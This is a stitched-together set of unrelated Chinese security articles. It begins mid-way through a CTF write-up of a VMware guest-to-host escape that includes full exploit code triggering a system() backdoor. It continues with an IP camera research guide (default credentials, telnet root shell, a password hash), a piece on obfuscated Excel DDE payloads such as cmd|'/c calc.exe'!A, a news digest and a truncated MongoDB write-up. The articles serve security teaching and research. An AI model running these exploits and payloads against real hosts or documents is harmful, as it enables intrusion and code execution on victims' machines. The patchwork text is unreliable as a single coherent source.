v43 = v5[0xC] - 2;
v5[12] = v43;
}
else if ( (_DWORD)v41 == 3 )
{
v26 = (const char *)*((_QWORD *)v5 + 7);
system(v26); // recv的时候的后门？
v43 = v5[12] - 3;
v5[12] = v43;
}
#### 动态分析
首先要用Bundle在host中装上vmware(那个ovf文件我导入有点问题也不修了直接自己搭个新的)，之后拿patch文件替换掉原`vmware-vmx`文件。在host里我们使用`sudo gdb ./vmware-vmx_patched
-q`启动gdb，之后启动VMware和guest，使用`ps -aux | grep vmware-vmx`得到进程pid，在gdb中使用`attach
$pid`attach到该进程，为了方便先拿`echo 0 >
/proc/sys/kernel/randomize_va_space`关闭地址随机化，之后`b* 0x0000555555554000 +
0x16e60c`下个断点再`continue`让虚拟机进程继续。
为了得到漏洞触发路径，我们直接拿长亭师傅的exp过来，精简到只有一次`run_cmd`，发送单条指令后在gdb查看情况，发现这里到我们后门需要`[ebx+0x30]`为3,经过多次尝试发现这里是个循环处理，每次`[ebx+0x30]`会减去4字节发送给guest一直到最后有一个余数，而我们的目的就是让余数为3，再经过计算可以发现当我们输入的命令为4的整数倍的时候最终可以到达漏洞处。
还有一个问题是执行命令的参数前面固定为`1`，我在后面加了个`;`来执行下一条命令，因此最终去执行的命令就是`/usr/bin/xcalc &`
我们的方式是去执行两次命令，一次是`char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc
&";`，设置这个`guestinfo.b`，一次是`char *s2 = "info-get
guestinfo.b";`去得到刚才设置的值，这个值就是我们调用system函数的参数，在gdb中下断点可以看到最终的调用参数
之后在host里弹出了计算器
### exp.c
exp用到长亭师傅的RPC函数实现。
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
);
}
void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
);
}
void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
struct channel{
int cookie1;
int cookie2;
int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
struct channel tmp;
int res,len,i;
char *data;
channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);
channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
//the core part
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to recv finish\n");
}
channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to close channel\n");
return;
}
}
void exploit(){
//the exploit step is almost the same as the leak ones
struct channel chan[10];
int res=0;
int len,i;
char *data;
//char *s1 = "info-set guestinfo.b ;DISPLAY=:1 gnome-calculator";
//char *s1 = "info-set guestinfo.b ;DISPLAY=:1 /usr/bin/gnome-calculator";
char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc &";
char *s2 = "info-get guestinfo.b";
run_cmd(s1);
run_cmd(s2);
}
void main(){
sleep(5);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,2,0);
exploit();
}
## 总结
总的来说这次数字经济共测大赛的题目还是很适合新手做的，并不需要太多的虚拟化知识，只要能把环境搭起来，知道一些基本的攻击面就能上手。本篇文章不涉及高深漏洞利用，只作为一篇入门文章给像我这样对逃逸感兴趣但很难有简单题上手的新手分享。 | 社区文章 |
# 【技术分享】物联网设备安全分析之网络摄像头篇
|
##### 译文声明
本文是翻译文章，文章来源：insinuator.net
原文地址：<https://insinuator.net/2016/10/setting-up-a-research-environment-for-ip-cameras/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**传送门**
[【技术分享】智能家居设备安全分析手记 ](http://bobao.360.cn/learning/detail/3270.html)
**前言**
当前，嵌入式设备已逐渐成为私人或公司网络的攻击入口点。例如，针对HackingTeam的攻击正是沿着这条路径进行的。所以，为了安全起见，一定要保护好您的嵌入式设备。在这篇文章中，我要跟大家分享自己在分析嵌入式设备（即ADIMAX的IC-3116W网络摄像头）方面的经验。
虽然这篇文章主要介绍如何分析网络摄像头，但是涉及的技术和工具也同样适用于其他设备。特别是，我将分步进行介绍，包括1.）如何获取固件并利用它收集信息，2.）如何获得系统访问权限，和3.）如何在设备上安装gdbserver
。此外，我不会在这篇文章中披露任何“复杂”的漏洞，而是只关注有助于分析该设备的那些漏洞，例如管理界面中的远程代码执行漏洞。
**
**
**一步一步分析设备**
在下面，我将一步一步地讲解如何正确搭建网络摄像头的安全测试环境。就这里来说，最初的步骤与普通的Web应用程序渗透测试没有多大的区别。也就是说，第一阶段是信息收集阶段，需要从供应商的网站、谷歌等地方收集摄像头的有关信息，或通过用合适的工具（Burp
Suite、nmap等）来扫描摄像头提供的各种服务（特别是管理接口）。然后是漏洞利用阶段，取得对摄像头的永久性访问权限。最后是漏洞利用的后期阶段，建立正确的调试/分析工具，并部署到摄像头上面。
**
**
**第一步：搜集信息**
在分析设备的过程中，关键的一步是收集尽可能多的信息。幸运的是，Edimax在其网站上提供了这款摄像头的大量信息，例如数据表、手册、固件和工具链（以及用来构建映像的文件等），但是，仍然没有我们感兴趣的那些二进制文件的源代码。
不过，固件能够为我们提供该摄像头的大量内部秘密。通过在固件上使用binwalk，我们可以提取该相机的文件系统。
$ binwalk -e IC3116W_v2.10.bin
DECIMAL HEX DESCRIPTION
------------------------------------------------------------------------------------------------------- 605 0x25D LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10392 0x2898 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3735204 bytes
1245312 0x130080 Squashfs filesystem, little endian, version 4.0, compression: lzma, size: 4072088 bytes, 907 inodes, blocksize: 131072 bytes, created: Mon Feb 22 11:50:40 2038
可以看出，开发人员使用了SquashFS文件系统。为了探索这个文件系统，我们可以使用unsquashfs（支持LZMA）：
$ unsquashfs -d filesystem 130080.squashf
这样就得到了未压缩的文件系统（它被保存在filesystem文件夹中）。
$ ls -a filesystem
. .. bin dev etc home init lib mnt proc sys test tmp usr var web www
提取文件系统后，我们就可以探索该摄像机上的文件了。文件系统包含一些我们感兴趣的二进制文件，如telnetd，wget，ftp等等。然而，nmap的扫描（默认IP地址印在该设备的背面）结果显示，在默认情况下是不会行运telnet守护程序的。
$ nmap -sS -p0- --reason -v -T3 -Pn 192.168.2.3
[...]
Nmap scan report for 192.168.2.3
Host is up, received arp-response (0.00065s latency).
Not shown: 65534 closed ports
Reason: 65534 resets
PORT STATE SERVICE REASON
80/tcp open http syn-ack
554/tcp open rtsp syn-ack
MAC Address: 74:DA:38:34:AA:75 (Unknown)
[...]
Web服务器的根目录位于www。通过考察这个文件夹，我们发现了一些无需身份验证即可访问的cgi文件，这些文件有：
l /www/camera-cgi/public/anonymous.cgi
l /www/camera-cgi/public/getSysteminfo.cgi
l /www/camera-cgi/public/supportiPhoneAppVersion.cgi
特别地，anonymous.cgi和getSysteminfo.cgi暴露了该网络摄像头的大量配置信息（例如内部IP地址，固件版本等）。
通过访问文件系统，我们可以了解该摄像头上面有哪些文件，并通过这些文件来收集信息。在下一步，我们将使用自动扫描和手动测试来窥探该摄像头的内部工作机制。因此，这里不妨先熟悉一下该摄像头上所运行的应用程序。如上图所示，通过nmap扫描结果可以获悉，在端口80上运行了一个Web服务器（用于管理的Web界面）。让人高兴的是，默认登陆凭证已经打印在相机背面了，用户名是admin，密码为1234。
有了这些，我们就获得了系统的部分访问权限。
**
**
**第二步：获得系统访问权限**
通过对Web界面的自动扫描和手动测试，我们发现系统日志允许远程代码执行。借助于telnetd的路径，我们可以通过以下方式启动telnet服务：
现在可以通过telnet连接到摄像机：
$ telnet 192.168.2.3
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.
IC-34AA75 login: admin
Password:
RLX Linux version 2.0
_ _ _
| | | ||_|
_ _ | | _ _ | | _ ____ _ _ _ _
| |/ || | / / | || | _ | | | | / /
| |_/ | |/ | || | | | | |_| |/
|_| |_|_/_/ |_||_|_| |_|____|_/_/
For further information check:
http://processor.realtek.com/
BusyBox v1.13.4 (2015-02-25 18:14:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /etc/passwd
admin:$1$yAn92Ld/$u5nHFH9nLds0naDaLuK1d/:0:0:System Administrator,,,:/:/bin/sh
telnet登录的凭证与Web界面（用户名：admin，密码：1234）的凭证是相同的。从/ etc /
passwd可以看出，该系统上面只有一个用户，即admin（权限为uid 0和gid 0）。因此，我们已经直接拥有了root访问权限。
需要注意的是，我们也可以通过UART端口获得该系统的shell。这个端口可以在下图中看到（引脚已被去掉，并直接焊接到了电路板上）。
为了与UART端口通信，我们可以使用诸如JTAGulator之类的独立设备。在获取了系统访问权限之后，现在可以部署相应的工具来分析相机了。
**
**
**第三步：搭建安全测试环境**
实际上，这个摄像头上已经提供了一些可以帮助分析运行的进程的工具了。但遗憾的是，它并没有提供调试器或编译器。而我们的目标（至少对于这篇博客文章来说）正是在这个设备上面运行调试器。更具体地说，我想在一台x86机器上本地运行gdb，而在这台摄像头设备上面运行gdbserver。
在这台摄像头设备上运行gdbserver（而不是gdb本身）具有多个优点。首先，gdbserve的二进制文件的大小远小于完整的gdb二进制文件。由于磁盘空间可能是嵌入式设备上的稀缺资源，所以gdbserver通常是唯一的选择。其次，gdbserver比gdb本身具有更少的依赖项，因此更容易交叉编译。当然，使用这个方法也是有缺点的。例如，如果主机系统（即运行gdb的系统）和目标系统（即运行gdbserver的系统）的寄存器大小不同，那么就可能发生问题。这也是我让gdb在x86机器上运行的原因。
要想将二进制文件安装到该摄像头上，自然需要能够在该摄像头上轻松写入和读出文件了。为了给这个摄像头写入文件，我们可以使用wget（虽然squashfs文件系统是只读的，但是，已经有一个闪存挂载到/var下面，因此我们可以对它执行写入操作）。要从这个摄像头中读出文件，可以使用lighttpd（该摄像头的Web服务器）。通过启动该服务器的另一个实例（并且把它的根目录设置为“/”），我们就可以从相机下载所有文件了。
在建立了摄像头和主机系统之间的文件传输通道之后，我们就可以开始交叉编译gdbserver了。为此，我们首先需要了解该摄像头使用的是哪种处理器。
# cat /proc/cpuinfo
system type : RTL819xD
processor : 0
cpu model : 56322
BogoMIPS : 658.63
tlb_entries : 32
mips16 implemented : yes
从上面的输出可以看出，它使用的是RTL819xD，这是一种基于MIPS的处理器。因此，我首先尝试使用标准的MIPS交叉编译器。为了获得交叉编译器，我们可以到Aboriginal
Linux网站上面下载。这个网站不仅提供了大量的交叉编译器，而且还提供了许多的shell脚本，可用来为特定的架构（基于qemu）搭建一个完整的构建环境。
然而，底层的Realtek
CPU使用的是修改版的指令集，所以普通的MIPS二进制文件通常无法在该摄像头上运行（只有非常简单的二进制文件可以运行）。但正如我前面提到的，Edimax也为其设备提供了一个工具链。借助于CentOS
7.3和厂商提供的工具链，我就可以为该摄像头建立一个构建环境了。建立这个构建环境的具体步骤，可以参见该工具链自身提供的pdf帮助文件，其基本步骤为：
第一步 : cd TARGET_DIR
第二步 : bzip2 -cd rsdk-{VERSION}-{LIBRARY}-{PLATFORM}.tar.bz2 | tar xvf –
第三步 : ln -s rsdk-{VERSION}/{PLATFORM}/{LIBRARY} rsdk
第四步 : export PATH=TARGET_DIR/rsdk/bin:$PATH
使用CentOS系统后，我们就可以交叉编译该摄像头的二进制文件了。例如，为了交叉编译gdbserver，我们可以使用如下所示的命令：
$ cd gdbserver_src
$ ./configure --host=mips-linux CC=rsdk-linux-gcc
$ ./make CC=rsdk-linux-gcc AS=rsdk-linux-as LD=rsdk-linux-ld
通过环境变量CC、AS和LD，可以为编译和加载过程指定编译器、汇编器和加载器。最后，我们得到了一个能够在网络摄像头上运行的gdbserver二进制文件。
我们也可以以类似的方式获得相应的gdb二进制文件。然而，幸运的是，在构建链中已经提供了用于x86系统（与MIPS系统上的gdbserver交互）的预编译好的二进制文件了。不过，如果你想从头开始创建这个二进制文件的话，那么必须为编译过程指定不同的参数
$ cd gdb_src
$ ./configure --target=mips-linux
$ ./make
在这个构建过程中，我们必须指定目标系统（即将来运行gdbserver的系统）。此外，我还测试了不同的gdb /
gdbserver版本，最后发现gdb-6.8能够用于该摄像头。
最后，我将介绍如何利用上面配置的gdb / gdbserver来分析该摄像头上运行的二进制文件。所以，我们首先将gdbserver二进制文件复制到该设备的/
var目录，并通过chmod命令使其变为可执行文件。为了让gdbserver连接到进程上面，必须执行以下命令：
# /var/gdbserver ip:port --attach pid
这里的IP是运行gdb的主机系统的地址。命令中指定的端口将在目标系统上打开。此外，其中的pid是我们想要连接的进程的进程ID。当然，我们也可以通过提供到可执行文件的路径而非-attach参数，在这个摄像头设备上启动一个新的进程（不连接到现有的进程上）。
作为一个例子，我们将连接到正在摄像头上运行的/ bin / ipcam二进制代码上面：
# /var/gdbserver 192.168.2.10:1234 --attach 9266
Attached; pid = 9266
Listening on port 1234
在执行该命令后，gdbserver就会在规定的1234端口上等待传入连接。在x86主机上，我们启动相应的gdb可执行文件，并通过下列方式连接到目标系统：
$ rsdk-mips-gdb -q
(gdb) target remote 192.168.2.3:1234
Remote debugging using 192.168.2.3:1234
[New Thread 9266]
0x2ab6b89c in ?? ()
(gdb)
然而，我们可以看到，gdb并没有函数上下文，也就是说它不知道自己当前在哪里。这是因为gdb必须为将在目标服务器上调试的二进制文件加载符号表才行。因此，我们必须在本地对这个二进制文件执行file命令（在gdb中）来加载符号表。此外，为了调试库调用，必须在本地保存一份该摄像头设备的文件系统的副本，同时，还应该从根目录中运行gdb（这样做能够确保可以在主机x86系统上找到相应的程序库）。
$ cd cam_root_dir
$ rsdk-mips-gdb -q
(gdb) file cam_root_dir/bin/ipcam
Reading symbols from cam_root_dir/bin/ipcam...(no debugging symbols found)...done.
(gdb) target remote 192.168.2.3:1234
Remote debugging using 192.168.2.3:1234
[New Thread 9266]
0x2aaa8a40 in _start() from cam_root_dir/lib/ld-uClibc.so.0
(gdb)
现在，你可以使用gdb了，仿佛它就在该摄像头上本地运行一样（即设置断点、分析寄存器等）。因此，我们现在已经拥有了一个通用的环境，可以对该摄像头设备上运行的各种服务进行分析处理了。
正如我在帖子开头提到的，这里发现的这个漏洞已经报告给供应商了。但是，截至今天，相应固件的仍然没有得到更新。所以，我们必须采取其他措施防止潜在的攻击。例如，为了防止anonymous.cgi，getSysteminfo.cgi和supportiPhoneAppVersion.cgi泄露信息，应该通过其他方式限制对它们的访问，比如可以使用单独的防火墙。当然，人们可以通过如上所述的方法获得系统访问，然后根据需要重新配置该摄像头设备。
对于web接口的认证区域的远程代码执行问题，必须确保对该区域的访问进行限制。首先，该摄像头的默认凭证应该进行修改。此外，根据相机的使用情况，如果不需要经由因特网访问web界面的话，就应该禁用这项功能。
**
**
**传送门**
* * *
[【技术分享】智能家居设备安全分析手记 ](http://bobao.360.cn/learning/detail/3270.html) | 社区文章 |
# DDE混淆的3种新方法
|
##### 译文声明
本文是翻译文章，文章来源：reversinglabs.com
原文地址：<https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
最近一段时间，微软的Office产品已经成为滋养新型攻击方法的沃土，从相对比较简单的数据注入方法（如[DDE注入](https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/)以及[CSV注入](http://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/)）到更加复杂的基于[嵌入公式对象](https://research.checkpoint.com/another-office-equation-rce-vulnerability/)的攻击技术，不一而足。反病毒行业很快吸收了这些技术，有许多厂商可以正确检测并识别大多数攻击方法。然而万物都处于演化之中，因此攻击场景中出现攻击手段的混淆及变种也只是时间问题。思科Talos以及ReversingLabs曾发表过一篇联合[文章](https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html)，介绍与CSV
DDE注入有关的两种新技术（一种混淆技术以及一个变种）。本文的目的是为大家解释这些技术背后的一些“原理”，也会介绍3种新的混淆技术。
## 二、CSV/DDE代码注入
尽管网上关于DDE代码注入技术已经有许多参考资料，但这里我们还可以简单过一下这种技术的原理。CSV（使用逗号作为分隔符）是一种简单的数据格式，可以用来存储结构化数据，也可以作为Excel的数据源（Excel会解析该数据，然后将被分隔符切分的数据填充到单元格中）。实际上，如果文件格式与文件扩展名不匹配，但该文件扩展名可以使用Excel来打开，那么Excel似乎会采用CSV模式来导入数据。
根据微软的描述，DDE（Dynamic Data
Exchange，动态数据交换）是应用之间传输数据的一种方法。Excel可以使用这种机制，根据外部应用的处理结果来更新单元格的内容。因此，如果我们制作包含DDE公式的CSV文件，那么在打开该文件时，Excel就会尝试执行外部应用，这个过程听起来非常简单。
## 三、DDE解析
虽然听起来简单，但工作过程却稍微复杂一些。当打开文件时，Excel会逐个检查文件的每一行。将该行的的内容分隔并拷贝到对应的单元格之前，Excel会检查当前行是否以某些命令字符开头。这些字符可能是内部函数所需的字符，如`=`、`+`、`-`以及`@`。根据命令的前缀，可能会出现以下两种情况：
1、如果前缀为为`=`、`+`或者`-`，那么后续数据就会被当成表达式来处理；
2、如果前缀为`@`，那么Excel会搜索内部函数（比如`SUM()`），将参数解析成表达式。
到目前为止，前面都是大家可以从网上找到的公开资料，但状态机如何处理表达式可能参考资料就相对较少。说到DDE时，相应的表达式大致可以表示为：
command|’arguments’!cell
命令本身也是一种表达式。如果表达式中仅包含可打印字符（甚至包含一些不可打印字符，如`0xAA`，具体取决于代码页），那么缓冲区大小就为256字节。由于命令前缀或者操作符占了1个字符，因此实际上表达式只有255个字节可用。表达式可以是名称、数字、字符串或者文件名。
即便缓冲区中有足够大的空间，内部程序的最大文件名长度为8个字符。这可能是MS-DOS文件名的历史遗留问题，当时系统最大只支持8字节长文件名（不包括扩展名）。
然而，表达式通常采用递归定义，可以采用算术及逻辑运算符（如`&`、`^`、`/`、`+`等等）链接起来，甚至还可以使用左括号（表示函数参数的开始）或者冒号（用作单元格分隔符）。虽然命令不应该被当成表达式来处理，但由于null字节会被全部忽略掉，而空格有时候后会被忽略（比如位于命令之前的空格），因此出现这种情况也不足为奇。
换句话说，表达式中可以包含数量不限的null字节。Excel会忽视参数以及单元格中的null字节。重要的是，单元格引用根本不必为有效值。一旦表达式被成功解析及转换，命令和参数就会传递给`WinExec()`
API执行。
## 四、更多细节
思科Talos在[文中](https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html)提到，攻击样本会使用简单的混淆技术，比如在DDE公式之前或者之后附加文本或者二进制数据。这似乎只是冰山一角，这是因为数据解析规则不仅可以处理前缀（prefix）或后缀（suffix）形式的混淆命令，也能处理中缀（infix）形式的混淆数据。
表达式可以串联使用，我们也可以在实际命令之前注入任意数量的表达式（每个子表达式最多可以使用255个字符），命令甚至也可以串联起来使用，这也是命令可以使用混淆前缀的基础，如下所示：
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
目前在实际攻击中看到的载荷会选择`cmd`、`msexcel`或者`msiexec`作为可执行目标文件，，但我们可以任意选择其他外部应用，只要文件名少于8字符即可，而这个条件在实际环境中很容满足。比如，`regsvr32`、`certutil`以及`rundll32`都满足文件名长度要求，这为我们打开了后缀混淆攻击的新世界：
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
最后，我们可以在各处添加null字节或者空格，达到中缀混淆目的。空格不能嵌入到命令名称中，一旦嵌入就将拆分命令名，导致命令无法执行。但是命令名之前以及或者参数中的空间还可以为我们所用。当然，命令名不区分大小写，因此我们可以使用不同的大小写方案来进行混淆。大家可以访问[此处](https://cdn2.hubspot.net/hubfs/3375217/proof_of_concept.zip?t=1538160223600)下载前面我们描述的所有混淆样例（密码为`infected`）。
图1. A1000十六进制数据中的中缀混淆示例
这些混淆技术当然可以单独使用，或者可以组合使用。我们已经使用Excel 2013以及Excel
2017测试过本文提到的所有混淆技术，在本文撰写时没有任何杀毒软件厂商能够检测到这些技术。为了帮大家防御这类简单的混淆攻击，我们同样发布了匹配的YARA规则，大家可以访问[此链接](https://cdn2.hubspot.net/hubfs/3375217/obfuscated_dde.yara?t=1538160223600)下载。
## 五、总结
在本文中，我们介绍了混淆DDE载荷的3种新技术：前缀、中缀以及后缀混淆技术。由于Office产品在过去27年中一直在不断完善，丰富的功能同样给正常用户和恶意用户带来广阔的表演舞台。在接下来的几年时间内，可以预见的是新的攻击方法及混淆技术将不断演化，我们也希望能看到推陈出新的技术用来投递攻击载荷。 | 社区文章 |
# 【知识】10月28日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： **英国安全部门表示朝鲜是Wannacry幕后推手** 、 ** ** **安卓计划新版本通过DNS over
TLS保护用户隐私****** 、 **黑客适用的贝叶斯数学** 、 ** **舰船卫星通信系统中现后门**** 、 **
**H2HC大会黑客样例代码**** 、Reaper僵尸网络分析。**
****
**资讯类：**
英国安全部门表示朝鲜是Wannacry幕后推手
<http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html>
安卓计划新版本通过DNS over TLS保护用户隐私
<https://nakedsecurity.sophos.com/2017/10/27/android-takes-aim-at-isp-surveillance-with-dns-privacy/>
新的Chrome安全绕过漏洞（CVE-2017-5090）
<http://www.securityfocus.com/bid/101591>
瑞典火车DDoS事件回顾分析
<https://the01.jp/p0005941/>
Google Play新的保护系统第一次实际测试以失败告终
<https://www.bleepingcomputer.com/news/security/androids-new-google-play-protect-system-miserably-fails-first-security-test/>
**技术类：**
黑客适用的贝叶斯数学
<https://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/>
新的代码注入技巧
<http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/>
H2HC大会黑客样例代码
<https://github.com/joaomatosf/JavaDeserH2HC>
舰船卫星通信系统中现后门
[https://www.bleepingcomputer.com/news/security/backdoor-account-found-in-popular-ship-satellite-communications-system](https://www.bleepingcomputer.com/news/security/backdoor-account-found-in-popular-ship-satellite-communications-system/#.WfLbdCyq7JA.twitter)
多个云产品的密钥管理策略
<https://blog.thalesesecurity.com/2017/10/27/the-time-is-right-for-multi-cloud-key-management/>
智能IoT设备破解
<https://thehackernews.com/2017/10/smart-iot-device-hacking.html>
Reaper僵尸网络分析
<http://www.hackerfactor.com/blog/index.php?/archives/782-Dont-Fear-The-Reaper.html>
Mobile Pwn2Own的0day之旅
<https://www.zerodayinitiative.com/blog/2017/10/27/on-the-trail-to-mobile-pwn2own> | 社区文章 |
笔者在2019年为StarCTF(*CTF)出题的时候，发现了MongoDB提供的原生接口存在一些问题。在这之后经过与参赛选手的探讨，发现以上的问题其实比较有趣。接下来我将把产生这个问题的根源进行剖析，并记录一下由此发现的其他几个node
modules的问题。
## starctf-996game & calcgame (RCTF/0CTF/De1CTF) & MarxJS(RealworldCTF 2019)
996game这道题目我出完最开始觉得并不怎么好，因为说实话他是一个半成品(因为出题时间deadline，不能去深入挖掘)。HTML5游戏近几年也是比较火爆，因为它具有很强的跨平台兼容性。我当时就秉承着这么一个思想，想把游戏安全引入CTF
Web题目中（当然，我并不是第一个这么干的人，之前很多CTF比赛都有游戏安全，举个国内的例子HCTF，笔者也是当年有幸拿到一血）。于是我便开始搜索比较热门的HTML5游戏框架或者源代码，最终在github锁定了phaserquest，虽然不是很热门，但因为比较老而且很久没更新，我觉得我很可能会发现其中存在的问题。一开始就发现了很多可以致使游戏崩溃的bug，但是我最后是被MongoDB有关的数据交互吸引了。
### ObjectId()结果可控
发现问题的一句是
这里的id是完全可以由client控制的，我就在想会不会经过ObjectId之后结果仍然可控呢?
于是带着这份好奇就跟了进去，发现在ObjectId的函数流程中，有使用Javascript的特定方法取得输入的长度。
<https://github.com/mongodb/js-bson/blob/V1.0.4/lib/bson/objectid.js#L28>
我们都知道Javascript的变量类型String和Array，具有length这个原生属性，它标志着字符串的长度或数组的大小。那么，如果变量类型是Object呢?
Object不存在原生的length属性，但如果开发者没有判断变量的类型，盲目的取`objectxxx.length`的话，就会取objectxxx对应键length下的内容。
To illustrate
var a = {"length":888, "name":"wupco"};
console.log(a.length);
//888
所以正是因为开发者没有考虑这个问题，可能带来很多逻辑上的问题，比如上面这个ObjectId的函数流程中，如果id.length ==
12，就会直接返回true，代表是一个合法的ObjectID的格式，实际上，我们可以传入一个Object
`{"id":{"length":12}}`来绕过这个函数。
然后接下来我们继续看
